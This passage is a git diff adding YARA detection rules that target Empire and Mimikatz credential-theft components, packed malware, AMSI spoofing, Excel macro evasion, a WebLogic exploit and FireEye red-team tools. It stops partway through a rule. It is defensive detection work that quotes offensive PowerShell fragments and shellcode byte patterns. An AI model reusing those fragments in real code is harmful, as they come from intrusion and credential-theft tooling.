+      id = "e2bc88c5-50f8-5ddc-a449-41929b1d0528"
+   strings:
+      $s1 = "$KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)" fullword ascii
+   condition:
+      ( uint16(0) == 0x7223 and filesize < 80KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_Portscan_Gen {
+   meta:
+      description = "Detects Empire component - from files Invoke-Portscan.ps1, Invoke-Portscan.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash2 = "cf7030be01fab47e79e4afc9e0d4857479b06a5f68654717f3bc1bc67a0f38d3"
+      id = "c2e01780-02d2-57d1-b38e-5c345ebccad6"
+   strings:
+      $s1 = "Test-Port -h $h -p $Port -timeout $Timeout" fullword ascii
+      $s2 = "1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 100KB and 1 of them ) or all of them
+}
+
+rule Empire_PowerShell_Framework_Gen4 {
+   meta:
+      description = "Detects Empire component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "743c51334f17751cfd881be84b56f648edbdaf31f8186de88d094892edc644a9"
+      hash2 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+      hash3 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+      hash4 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+      hash5 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
+      hash6 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+      hash7 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
+      hash8 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+      hash9 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+      hash10 = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
+      id = "c390638a-0eb1-576d-a08c-203c31d414f3"
+   strings:
+      $s1 = "Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }" fullword ascii
+      $s2 = "# Get a handle to the module specified" fullword ascii
+      $s3 = "$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))" fullword ascii
+      $s4 = "$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_CredentialInjection_Invoke_Mimikatz_Gen {
+   meta:
+      description = "Detects Empire component - from files Invoke-CredentialInjection.ps1, Invoke-Mimikatz.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+      hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
+      id = "d938aadf-6924-5964-9b5a-6bd1b817349f"
+   strings:
+      $s1 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle" fullword ascii
+      $s2 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
+}
+
+rule Empire_Invoke_Gen {
+   meta:
+      description = "Detects Empire component - from files Invoke-DCSync.ps1, Invoke-PSInject.ps1, Invoke-ReflectivePEInjection.ps1"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
+      hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+      hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+      id = "913f971d-e4e3-55e9-904b-82b25a4e6f0f"
+   strings:
+      $s1 = "$Shellcode1 += 0x48" fullword ascii
+      $s2 = "$PEHandle = [IntPtr]::Zero" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 3000KB and 1 of them ) or all of them
+}
+
+rule Empire_PowerShell_Framework_Gen5 {
+   meta:
+      description = "Detects Empire component"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/adaptivethreat/Empire"
+      date = "2016-11-05"
+      super_rule = 1
+      hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
+      hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
+      hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
+      id = "4c23592e-5788-5b84-995a-028142cbc52f"
+   strings:
+      $s1 = "if ($ExeArgs -ne $null -and $ExeArgs -ne '')" fullword ascii
+      $s2 = "$ExeArgs = \"ReflectiveExe $ExeArgs\"" fullword ascii
+   condition:
+      ( uint16(0) == 0x7566 and filesize < 1000KB and 1 of them ) or all of them
+}
diff --git a/yara-Neo23x0/gen_enigma_protector.yar b/yara-Neo23x0/gen_enigma_protector.yar
new file mode 100644
index 0000000..9870f83
--- /dev/null
+++ b/yara-Neo23x0/gen_enigma_protector.yar
@@ -0,0 +1,55 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth with the help of binar.ly
+   Date: 2017-05-02
+   Identifier: Enigma Protector
+*/
+
+rule EnigmaPacker_Rare {
+   meta:
+      description = "Detects an ENIGMA packed executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-04-27"
+      score = 60
+      hash1 = "77be6e80a4cfecaf50d94ee35ddc786ba1374f9fe50546f1a3382883cb14cec9"
+      id = "748bc74c-e83f-5740-8ff7-f1371fc22802"
+   strings:
+      $s1 = "P.rel$oc$" fullword ascii
+      $s2 = "ENIGMA" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 4000KB and all of them )
+}
+
+rule Enigma_Protected_Malware_May17_RhxFiles {
+   meta:
+      description = "Auto-generated rule - file RhxFiles.dll"
+      author = "Florian Roth (Nextron Systems) with the help of binar.ly"
+      reference = "Internal Research"
+      date = "2017-05-02"
+      hash1 = "2187d6bd1794bf7b6199962d8a8677f19e4382a124c30933d01aba93cc1f0f15"
+      id = "d701d591-4283-5645-8768-a5ab7df0f37a"
+   strings:
+      $op1 = { bd 9c 74 f6 7a 3a f7 94 c5 7d 7c 7c 7c 7e ae 73 }
+      $op2 = { 82 62 6b 6b 6b 68 a5 ea aa 69 6b 6b 6b 3a 3b 94 }
+      $op3 = { 7c 7c c5 7d 7c 7c 7c 7e ae 73 f9 79 7c 7c 7c f6 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 4000KB and all of them )
+}
+
+rule Enigma_Protected_Malware {
+   meta:
+      description = "Detects samples packed by Enigma Protector"
+      author = "Florian Roth (Nextron Systems) with the help of binar.ly"
+      reference = "https://goo.gl/OEVQ9w"
+      date = "2017-02-03"
+      hash1 = "d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2"
+      id = "d701d591-4283-5645-8768-a5ab7df0f37a"
+   strings:
+      $s1 = { 5d 5d 5d aa bf 5e 95 d6 dc 51 5d 5d 5d 5e 98 0d }
+      $s2 = { 52 d9 47 5d 5d 5d dd a6 b4 52 d9 4c 5d 5d 5d 3b }
+      $s3 = { 9f 59 14 52 d8 a9 a2 a2 a2 00 9f 51 5d d6 d1 79 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
diff --git a/yara-Neo23x0/gen_event_mute_hook.yar b/yara-Neo23x0/gen_event_mute_hook.yar
new file mode 100644
index 0000000..0d5112d
--- /dev/null
+++ b/yara-Neo23x0/gen_event_mute_hook.yar
@@ -0,0 +1,14 @@
+rule SUSP_Hunt_EvtMuteHook_Memory {
+    meta:
+        description = "Memory hunt for default wevtsv EtwEventCallback hook pattern to apply to eventlog svchost memory dump"
+        reference = "https://blog.dylan.codes/pwning-windows-event-logging/"
+        author = "SBousseaden"
+        date = "2020-09-05"
+        score = 70
+        id = "5326581e-90d9-59b9-8dc5-74df97571600"
+    strings:
+        $a = {49 BB ?? ?? ?? ?? ?? ?? ?? ?? 41 FF E3 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}
+        $b = {48 83 EC 38 4C 8B 0D 65 CB 1A 00 48 8D 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}
+    condition: 
+        $a and not $b
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_excel_auto_open_evasion.yar b/yara-Neo23x0/gen_excel_auto_open_evasion.yar
new file mode 100644
index 0000000..854d102
--- /dev/null
+++ b/yara-Neo23x0/gen_excel_auto_open_evasion.yar
@@ -0,0 +1,26 @@
+rule gen_excel_auto_open_evasion
+{
+    meta:
+        description = "Detects an obfuscated Auto_Open cell names in Excel files"
+        license = "https://creativecommons.org/licenses/by-nc/4.0/"
+        author = "@JohnLaTwC"
+        date = "2020-09-24"
+        reference="https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/"
+        hash="e23f9f55e10f3f31a2e76a12b174b6741a2fa1f51cf23dbd69cf169d92c56ed5"
+        hash1="bb3c9739de8ffe2e0f375847d41a010463ec19f1d3f578ac053651a51ed69bbc"
+        hash2="56ff65b7f6bf5936883f52b50ca66e768b2088158cc77af681ffab7122be7753"
+        hash3="97243214ac3cad74d60b0648e39d6a9600860edba51c670b5226e058ba658957"
+        hash4="9ebf085c05ae94c1b6c4e011001a6c11de3ca754a56ed380314ef501b777e593"
+        hash5="b5a8bbf3c7d49bd208d8302f6867b5f6d3d7c09830b575967801893498cc92d9"
+        score = 70
+        id = "e33b8d1d-4978-5747-8b5b-730e6c57dbf0"
+    strings:
+        $auto_open = { 00 00 00 00 01 [0-2] (61 | 41) [0-5](75 | 55) [0-5](74 | 54) [0-5](6f | 4f) [0-5](5f | 5f) [0-5](6f | 4f) [0-5](70 | 50) [0-5](65 | 45) [0-5](6e | 4e)}
+
+        $plain_auto_open = "auto_open" nocase wide ascii
+
+    condition:
+        filesize < 1MB
+        and uint32be(0) == 0xD0CF11E0
+        and $auto_open and #plain_auto_open == 0
+}
diff --git a/yara-Neo23x0/gen_excel_xll_addin_suspicious.yar b/yara-Neo23x0/gen_excel_xll_addin_suspicious.yar
new file mode 100644
index 0000000..64229d9
--- /dev/null
+++ b/yara-Neo23x0/gen_excel_xll_addin_suspicious.yar
@@ -0,0 +1,64 @@
+import "pe"
+
+rule gen_Excel_xll_addin_suspicious
+{
+    meta:
+        description = "Detects suspicious XLL add-ins to Excel"
+        license = "https://creativecommons.org/licenses/by-nc/4.0/"
+        author = "@JohnLaTwC"
+        date = "2020-10-16"
+        reference1="https://twitter.com/JohnLaTwC/status/1315287078855352326"
+        reference2="https://labs.f-secure.com/archive/add-in-opportunities-for-office-persistence/"
+        reference3="https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52"
+
+        hash1="0bad4e4bc5093dcfc2737c4d8be89d6f093509a7b91a1e022050cb890d90e4e0"
+        hash2="133e47eedfede46d1a4529ce7f047e09521ed8c7cad2e49d3522064695bd6c43"
+        hash3="1994a39d5639b4eea5c3cdf084a8eacf8610a96702e580d88a6ec18887d0ec6b"
+        hash4="28f45d01e397841fcba48da1e61e4927f42ff6fe6f32595c23cf9a953cd2658a"
+        hash5="54c3598cf22ad64faeb4e0f9f70e026a1ae834a8c06e5187bf289bb3ee43a8ec"
+        hash6="5644a04513744edfb247d0ea83e3e2f7d616d6752cfd1af50e866bb0270131ee"
+        hash7="836c0d21fc3ea3a8ce1a493097a5034d110e5c50bfd7e6c3dcb674dc7a6a19ec"
+        hash8="b926f7db36bc5bae73091c783b0715d2af051de22a579548adf2498cb1a1d075"
+        hash9="6ba100a5da5efea14a5ca929628b732a6e6b8ab8f78167db35343e895997ce52"
+        hasha="ee603cbd6187850334ae5d8adcf029d5cde710fc966b2b7a2c95249d3b23d693"
+        hashb="99195679e998407fd4d606a0d956bda99f79625b638c63f90d9d399c6f2a143e"
+        hashc="99534c7086128998ae39967fe5fc6bf526cb2ba5d3b2e99dc7bd03833e4a94ae"
+        id = "013db759-ab9d-5505-933b-bda702a0941e"
+    strings:
+        $s1 = "CryptStringToBinaryA"
+        $s2 = "NtQueueApcThread"
+        
+        $cs1 = "dsrole.dll"
+        $cs2 = "user32.dll"
+
+        $debug = "SeDebugPrivilege"
+    condition:
+        filesize < 1MB
+        and uint16(0) == 0x5a4d 
+        and pe.characteristics & pe.DLL
+        and pe.exports("xlAutoOpen")
+        and (
+              ((pe.imports("KERNEL32.dll", "LookupPrivilegeValueW") or pe.imports("KERNEL32.dll", "LookupPrivilegeValueA"))
+                and pe.imports("KERNEL32.dll", "AdjustTokenPrivileges")
+                and pe.imports("KERNEL32.dll", "OpenProcess")
+                and $debug)
+             or (pe.imports("ADVAPI32.dll", "CryptDecrypt")
+                 and pe.imports("ADVAPI32.dll", "CryptImportKey"))
+             or (pe.imports("DNSAPI.dll", "DnsQuery_A") or pe.imports("DNSAPI.dll", "DnsQuery_W"))
+             or ((pe.imports("KERNEL32.dll", "FindResourceA") or pe.imports("KERNEL32.dll", "FindResourceW"))
+                  and pe.imports("KERNEL32.dll", "LoadResource")
+                  and pe.imports("KERNEL32.dll", "LockResource")
+                  and (pe.imports("KERNEL32.dll", "VirtualAlloc") or pe.imports("KERNEL32.dll", "VirtualAllocEx"))
+                  and pe.imports("KERNEL32.dll", "WriteProcessMemory")
+                  and pe.imports("KERNEL32.dll", "SetThreadContext"))
+             or (pe.imports("KERNEL32.dll", "GetThreadContext")
+                  and pe.imports("KERNEL32.dll", "VirtualAllocEx")
+                  and pe.imports("KERNEL32.dll", "ResumeThread")
+                  and pe.imports("KERNEL32.dll", "SetThreadContext"))
+             or (pe.imports("KERNEL32.dll", "WinExec"))
+             or (all of ($s*))
+             or (all of ($cs*) and pe.imports("KERNEL32.dll", "VirtualAllocEx")
+                  and pe.imports("KERNEL32.dll", "TerminateProcess")
+                  and pe.imports("KERNEL32.dll", "Sleep"))
+            )
+}
diff --git a/yara-Neo23x0/gen_excel_xor_obfuscation_velvetsweatshop.yar b/yara-Neo23x0/gen_excel_xor_obfuscation_velvetsweatshop.yar
new file mode 100644
index 0000000..5b264b4
--- /dev/null
+++ b/yara-Neo23x0/gen_excel_xor_obfuscation_velvetsweatshop.yar
@@ -0,0 +1,25 @@
+/* Slightly modified by Florian Roth */
+
+rule gen_excel_xor_obfuscation_velvetsweatshop {
+    meta:
+        description = "Detects XOR encryption (c. 2003) in Excel file formats"
+        license = "https://creativecommons.org/licenses/by-nc/4.0/"
+        author = "@BouncyHat"
+        contributed_by = "@JohnLaTwc"
+        date = "2020-10-09"
+        reference = "https://twitter.com/JohnLaTwC/status/1314602421977452544"
+        reference0 = "https://twitter.com/BouncyHat/status/1308896366782042113"
+        hash1 = "da1999c23ee2dae02a169fd2208b9766cb8f046a895f5f52bed45615eea94da0"
+        hash2 = "14a32b8a504db3775e793be59d7bd5b584ea732c3ca060b2398137efbfd18d5a"
+        hash3 = "dd3e89e7bde993f6f1b280f2bf933a5cc2797f4e8736aed4010aaf46e9854f23"
+        hash4 = "4e40253b382b20e273edf82362f1c89e916f7ab8d3c518818a76cb6127d4e7c2"
+        id = "8a16105c-4f43-5a35-941c-6ee9593b039c"
+    strings:
+        $olemarker = { D0 CF 11 E0 A1 B1 1A E1 00 00 00 }
+        $FilePass_XOR_Obfuscation_VelvetSweatshop = { 2F 00 06 00 00 00 59 B3 0A 9A }
+    condition:
+        uint32(0) == 0xe011cfd0 and 
+        filesize < 400KB and 
+        $olemarker at 0 and
+        $FilePass_XOR_Obfuscation_VelvetSweatshop
+}
diff --git a/yara-Neo23x0/gen_exploit_cve_2017_10271_weblogic.yar b/yara-Neo23x0/gen_exploit_cve_2017_10271_weblogic.yar
new file mode 100644
index 0000000..6a9ae89
--- /dev/null
+++ b/yara-Neo23x0/gen_exploit_cve_2017_10271_weblogic.yar
@@ -0,0 +1,26 @@
+rule gen_exploit_CVE_2017_10271_WebLogic : HIGHVOL
+{
+    meta: 
+        description = "Exploit for CVE-2017-10271 (Oracle WebLogic)"
+        author = "John Lambert @JohnLaTwC"
+        date = "2018-03-21"
+        hash1 = "376c2bc11d4c366ad4f6fecffc0bea8b195e680b4c52a48d85a8d3f9fab01c95"
+        hash2 = "7d5819a2ea62376e24f0dd3cf5466d97bbbf4f5f730eb9302307154b363967ea"
+        hash3 = "864e9d8904941fae90ddd10eb03d998f85707dc2faff80cba2e365a64e830e1d/subfile"
+        hash4 = "2a69e46094d0fef2b3ffcab73086c16a10b517f58e0c1f743ece4f246889962b"
+        reference = "https://github.com/c0mmand3rOpSec/CVE-2017-10271, https://www.fireeye.com/blog/threat-research/2018/02/cve-2017-10271-used-to-deliver-cryptominers.html"
+        id = "e30e316f-1ebb-5c38-ba25-d2a9d0083a03"
+    strings:
+        $s1 = "<soapenv:Header"
+        $s2 = "java.beans.XMLDecoder"
+        $s3 = "void" fullword
+        $s4 = "index="
+        $s5 = "/array>"
+        $s6 = "\"start\""
+        $s7 = "work:WorkContext" nocase
+
+    condition:
+        filesize < 10KB
+        and (uint32(0) == 0x616f733c or uint32(0) == 0x54534f50)  //'<soa' or 'POST'
+        and all of ($s*)
+}
diff --git a/yara-Neo23x0/gen_fake_amsi_dll.yar b/yara-Neo23x0/gen_fake_amsi_dll.yar
new file mode 100644
index 0000000..32f86b2
--- /dev/null
+++ b/yara-Neo23x0/gen_fake_amsi_dll.yar
@@ -0,0 +1,68 @@
+import "pe"
+
+rule SUSP_Fake_AMSI_DLL_Jun23_1 {
+   meta:
+      description = "Detects an amsi.dll that has the same exports as the legitimate one but very different contents or file sizes"
+      author = "Florian Roth"
+      reference = "https://twitter.com/eversinc33/status/1666121784192581633?s=20"
+      date = "2023-06-07"
+      modified = "2023-06-12"
+      score = 65
+      id = "b12df9de-ecfb-562b-b599-87fa786a33bc"
+   strings:
+      $a1 = "Microsoft.Antimalware.Scan.Interface" ascii
+      $a2 = "Amsi.pdb" ascii fullword
+      $a3 = "api-ms-win-core-sysinfo-" ascii
+      $a4 = "Software\\Microsoft\\AMSI\\Providers" wide
+      $a5 = "AmsiAntimalware@" ascii
+      $a6 = "AMSI UAC Scan" ascii
+
+      $fp1 = "Wine builtin DLL"
+   condition:
+      uint16(0) == 0x5a4d 
+      // AMSI.DLL exports
+      and (
+         pe.exports("AmsiInitialize")
+         and pe.exports("AmsiScanString")
+      )
+      // and now the anomalies
+      and (
+         filesize > 200KB     // files bigger than 100kB
+         or filesize < 35KB   // files smaller than 35kB 
+         or not 4 of ($a*)  // files that don't contain the expected strings
+      )
+      and not 1 of ($fp*)
+}
+
+/* Uses the external variable "filename" and can thus only be used in LOKI or THOR */
+
+rule SUSP_Fake_AMSI_DLL_Jun23_2 {
+   meta:
+      description = "Detects an amsi.dll that has very different contents or file sizes than the legitimate"
+      author = "Florian Roth"
+      reference = "https://twitter.com/eversinc33/status/1666121784192581633?s=20"
+      date = "2023-06-07"
+      modified = "2023-06-14"
+      score = 65
+      id = "adec9525-6299-52d5-8f4e-a83366d3dcfd"
+   strings:
+      $a1 = "Microsoft.Antimalware.Scan.Interface" ascii
+      $a2 = "Amsi.pdb" ascii fullword
+      $a3 = "api-ms-win-core-sysinfo-" ascii
+      $a4 = "Software\\Microsoft\\AMSI\\Providers" wide
+      $a5 = "AmsiAntimalware@" ascii
+      $a6 = "AMSI UAC Scan" ascii
+
+      $fp1 = "Wine builtin DLL"
+   condition:
+      uint16(0) == 0x5a4d 
+      // AMSI.DLL
+      and filename == "amsi.dll"
+      // and now the anomalies
+      and (
+         filesize > 200KB     // files bigger than 100kB
+         or filesize < 35KB   // files smaller than 35kB 
+         or not 4 of ($a*)  // files that don't contain the expected strings
+      )
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_faked_versions.yar b/yara-Neo23x0/gen_faked_versions.yar
new file mode 100644
index 0000000..68b59d1
--- /dev/null
+++ b/yara-Neo23x0/gen_faked_versions.yar
@@ -0,0 +1 @@
+/* moved to yara_mixed_ext_vars.yar */
diff --git a/yara-Neo23x0/gen_file_anomalies.yar b/yara-Neo23x0/gen_file_anomalies.yar
new file mode 100644
index 0000000..80fb4c6
--- /dev/null
+++ b/yara-Neo23x0/gen_file_anomalies.yar
@@ -0,0 +1,84 @@
+import "pe"
+
+rule SUSP_TINY_PE {
+   meta:
+      description = "Detects Tiny PE file"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://webserver2.tecgraf.puc-rio.br/~ismael/Cursos/YC++/apostilas/win32_xcoff_pe/tyne-example/Tiny%20PE.htm"
+      date = "2019-10-23"
+      score = 80
+      id = "5081c24e-91d1-5705-9459-f675be4f0e3c"
+   strings:
+      $header = { 4D 5A 00 00 50 45 00 00 }
+   condition:
+      uint16(0) == 0x5a4d and uint16(4) == 0x4550 and filesize <= 20KB and $header at 0
+}
+
+rule SUSP_GIF_Anomalies {
+   meta:
+      description = "Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      reference = "https://en.wikipedia.org/wiki/GIF"
+      date = "2020-07-02"
+      id = "2e77c2ff-a8f6-5444-a93d-843312640a28"
+   condition:
+      uint16(0) == 0x4947 and uint8(2) == 0x46 /* GIF */
+      and uint8(11) != 0x00 /* Background Color Index != 0 */
+      and uint8(12) != 0x00 /* Pixel Aspect Ratio != 0 */
+      and uint8(filesize-1) != 0x3b /* Trailer (trailes are often 0x00 byte padded and cannot server as sole indicator) */
+}
+
+rule SUSP_HxD_Icon_Anomaly_May23_1 {
+   meta:
+      description = "Detects suspicious use of the the free hex editor HxD's icon in PE files that don't seem to be a legitimate version of HxD"
+      author = "Florian Roth"
+      reference = "https://www.linkedin.com/feed/update/urn:li:activity:7068631930040188929/?utm_source=share&utm_medium=member_ios"
+      date = "2023-05-29"
+      score = 65
+      id = "3ac8cc92-6d76-5787-ada0-cfb6eabb4b20"
+   strings:
+      /* part of the icon bitmap : we're not using resource hashes etc because YARA's string matching is much faster */
+      $ac1 = { 99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D D0 99 98 09
+               99 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 09
+               99 99 00 0D D0 99 98 0F F9 99 00 0D D0 99 98 09
+               9F 99 00 0D D0 99 98 09 FF 99 00 0D D0 99 98 09
+               FF 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 0F
+               F9 99 00 0D D0 99 98 09 99 99 00 0D 09 99 80 9F
+               F9 99 99 00 09 99 80 99 F9 99 99 00 09 99 80 FF }
+      $ac2 = { FF FF FF FF FF FF FF FF FF FF FF FF FF FF B9 DE
+               FA 68 B8 F4 39 A2 F1 39 A2 F1 39 A2 F1 39 A2 F1
+               39 A2 F1 39 A2 F1 68 B8 F4 B9 DE FA FF FF FF FF
+               FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF }
+
+      /* strings to expect in a HxD executable */
+      $s1 = { 00 4D 00 61 00 EB 00 6C 00 20 00 48 00 F6 00 72 00 7A } /* Developer: Maael Hoerz */
+      $s2 = "mh-nexus.de" ascii wide
+
+      /* UPX marker */
+      $upx1 = "UPX0" ascii fullword
+
+      /* Keywords that are known to appear in malicious  samples */
+      $xs1 = "terminator" ascii wide fullword // https://www.linkedin.com/feed/update/urn:li:activity:7068631930040188929/?utm_source=share&utm_medium=member_ios
+      $xs2 = "Terminator" ascii wide fullword // https://www.linkedin.com/feed/update/urn:li:activity:7068631930040188929/?utm_source=share&utm_medium=member_ios
+   condition:
+      // HxD indicators
+      uint16(0) == 0x5a4d 
+      and 1 of ($ac*)
+      // Anomalies
+      and (
+         not 1 of ($s*) // not one of the expected strings
+         or filesize > 6930000 // no legitimate sample bigger than 6.6MB
+         // all legitimate binaries have a known size and shouldn't be smaller than ...
+         or ( pe.is_32bit() and filesize < 1540000 and not $upx1 )
+         or ( pe.is_32bit() and filesize < 590000 and $upx1 )
+         or ( pe.is_64bit() and filesize < 6670000 and not $upx1 )
+         or ( pe.is_64bit() and filesize < 1300000 and $upx1 )
+         // keywords expected in malicious samples
+         or 1 of ($xs*)
+      )
+}
diff --git a/yara-Neo23x0/gen_fireeye_redteam_tools.yar b/yara-Neo23x0/gen_fireeye_redteam_tools.yar
new file mode 100644
index 0000000..03f9dcd
--- /dev/null
+++ b/yara-Neo23x0/gen_fireeye_redteam_tools.yar
@@ -0,0 +1,3032 @@
+import "pe"
+
+rule HackTool_MSIL_Rubeus_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
+        md5 = "66e0681a500c726ed52e5ea9423d2654"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "0ca140ea-2b9f-5904-a4c0-8615229626f0"
+    strings:
+        $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
+    condition:
+        uint16(0) == 0x5A4D and $typelibguid
+}
+rule Trojan_Raw_Generic_4
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "f41074be5b423afb02a74bc74222e35d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "9092f9bb-cab6-55c0-9452-70a6407db93a"
+    strings:
+        $s0 = { 83 ?? 02 [1-16] 40 [1-16] F3 A4 [1-16] 40 [1-16] E8 [4-32] FF ( D? | 5? | 1? ) }
+        $s1 = { 0F B? [1-16] 4D 5A [1-32] 3C [16-64] 50 45 [8-32] C3 }
+    condition:
+        uint16(0) != 0x5A4D and all of them
+}
+rule HackTool_Win32_AndrewSpecial_1
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        md5 = "e89efa88e3fda86be48c0cc8f2ef7230"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "69e27e92-d68e-5543-bada-170e32733dbb"
+    strings:
+        $dump = { 6A 00 68 FF FF 1F 00 FF 15 [4] 89 45 ?? 83 [2] 00 [1-50] 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 10 68 [4] FF 15 [4] 89 45 [10-70] 6A 00 6A 00 6A 00 6A 02 8B [2-4] 5? 8B [2-4] 5? 8B [2-4] 5? E8 [4-20] FF 15 }
+        $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
+        $shellcode_x86_inline = { C6 45 ?? B8 C6 45 ?? 3C C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 33 C6 45 ?? C9 C6 45 ?? 8D C6 45 ?? 54 C6 45 ?? 24 C6 45 ?? 04 C6 45 ?? 64 C6 45 ?? FF C6 45 ?? 15 C6 45 ?? C0 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 83 C6 45 ?? C4 C6 45 ?? 04 C6 45 ?? C2 C6 45 ?? 14 C6 45 ?? 00 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and $dump and any of ($shellcode*)
+}
+rule APT_Backdoor_Win_GORAT_3
+{
+    meta:
+        description = "This rule uses the same logic as FE_APT_Trojan_Win_GORAT_1_FEBeta with the addition of one check, to look for strings that are known to be in the Gorat implant when a certain cleaning script is not run against it."
+        md5 = "995120b35db9d2f36d7d0ae0bfc9c10d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
